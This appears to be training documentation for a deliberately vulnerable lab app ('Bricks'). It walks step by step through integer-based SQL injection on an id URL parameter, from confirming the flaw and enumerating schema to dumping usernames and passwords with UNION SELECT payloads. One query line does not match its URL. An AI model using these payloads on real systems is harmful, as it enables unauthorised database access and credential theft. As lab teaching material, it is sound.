Bricks Documentation

Content page #1

  • Content page with integer input in URL
  • id parameter is prone to code injection.

Advanced SQL Injection - Integer based

URL: bricks/content-1/index.php?id=0
SQL Query: SELECT * FROM users WHERE idusers=0 LIMIT 1

Here, the id parameter is accepting input through the URL of the browser. Change the input value and it will yield different output based on the input given.


URL: bricks/content-1/index.php?id=1
SQL Query: SELECT * FROM users WHERE idusers=1 LIMIT 1

This time, the web page displays the details of another user. Since id parameter is accepting input, it is a nice starting point to begin testing. First, it should be tested to check whether it is vulnerable to SQL injection or not.


URL: bricks/content-1/index.php?id=0'
SQL Query: SELECT * FROM users WHERE idusers=0' LIMIT 1

There is no output on the page but some error messages. That means the id parameter is vulnerable to code injection and the code we inserted just broke the query. The injected code must be put in a manner that it won't break the complete SQL statement. The next step is to inject specially crafted SQL commands to verify the existence of vulnerability.


URL: bricks/content-1/index.php?id=0 and 1=1
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=1 LIMIT 1

The page is displayed without any errors. This is because the added code is a true statement. What if the added statement was not returning a true condition?


URL: bricks/content-1/index.php?id=0 and 1=2
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 LIMIT 1

Since the injected code contains an always false statement, the web page does not displays any content and is showing an error message saying that user does not exists. This proves that the code injected on to the id parameter is actually getting executed.

The injected code can be further modified to perform more advanced functions including obtaining/removing/changing confidential information. However, at the present stage, there are no clear knowledge about the database, version, tables, columns etc. So, these details has to be enumerated first. Finding the number of columns in the current database is relatively easy task.


URL: bricks/content-1/index.php?id=0 order by 1
SQL Query: SELECT * FROM users WHERE idusers=0 order by 1 LIMIT 1

The page displays the content without any issues and there are no error messages.


URL: bricks/content-1/index.php?id=0 order by 2
SQL Query: SELECT * FROM users WHERE idusers=0 order by 2 LIMIT 1

The page displays the content without any issues and there are no error messages. So there exists at least two columns.


URL: bricks/content-1/index.php?id=0 order by 3
SQL Query: SELECT * FROM users WHERE idusers=0 order by 3 LIMIT 1

The page displays the content without any issues and there are no error messages. So there exists at least three columns.

This process has to be repeated by increasing the value till the page shows some changes in the displayed page.

.
.
.
.

URL: bricks/content-1/index.php?id=0 order by 8
SQL Query: SELECT * FROM users WHERE idusers=0 order by 8 LIMIT 1
The page displays the content without any issues and there are no error messages. So there exists at least eight columns.


URL: bricks/content-1/index.php?id=0 order by 9
SQL Query: SELECT * FROM users WHERE idusers=0 order by 9 LIMIT 1

This time the pages displays some error, so 9th column does not exists. This confirms that there are only 8 columns.

A union select statement has to be made accordingly to find out the columns which are vulnerable out of the 8 columns.


URL: bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1

This time the page is not showing anything special rather than usual content. This is because the page is showing only the first result since it treats only the first line of the result. If that is the case, the injected code should be modified a little to make only the second line valid. There are many ways to do that.


URL: bricks/content-1/index.php?id=99999 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=99999 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1

Here, it is assumed that the number of user information stored in the database is less than 99999. SInce there is no users with userid 99999, the first line obviously becomes invalid opening doors for the second line. Thus, the output changes accordingly on the displayed page.


URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1

This is also a possible solution to make the first part of the command invalid.

In both cases, the page is displaying some numbers instead of the actual user details. These are the corresponding number of columns that are vulnerable.


URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8 LIMIT 1

The number 1 has been replaced by the user name of the current database user, which is root@localhost


URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT version(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT version(),2,3,4,5,6,7,8 LIMIT 1

This helps to obtain the database version.


URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT database(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT database(),2,3,4,5,6,7,8 LIMIT 1

The current database name is displayed - bricks. Now, the tables on the current database has to be enumerated.


URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT table_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema='bricks'
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT table_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema='bricks' LIMIT 1

Since there is only one table in the bricks database, that information is displayed. Next objective is to find out the columns in the users.


URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema='bricks' and table_name='users' LIMIT 0,1 -- -
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT table_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema='bricks' and table_name='users' LIMIT 0,1 -- - LIMIT 1

idusers is the name of the first column in the users table. There can be two LIMIT functions seen in the executed query and they make collisions and result in broken syntax. In order to avoid this issue, immediately after the injected LIMIT function, -- - has been added to comment out rest of the query.


URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema='bricks' and table_name='users' LIMIT 1,1 -- -
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema='bricks' and table_name='users' LIMIT 1,1 -- - LIMIT 1

name is the name of the second column in the users table.


This process should be continued till LIMIT 7,1 (as the total number of columns are eight and the numbering starts with 0). At the end of the process, following column names will be obtained: idusers, name, email, password, ua, ref, host, lang. The name and password are the most interesting columns. So, the next injected code should be for dumping the data from those columns.


URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 0,1 -- -
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 0,1 -- - LIMIT 1

This fetches the name and password from the first entry on the users table. CHAR(32) represents a space and is put there to make is easy to differentiate between the username and password.


URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 1,1 -- -
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 1,1 -- - LIMIT 1

This fetches the name and password from the second entry on the users table.

This process can be continued to obtain the username and password of all the users.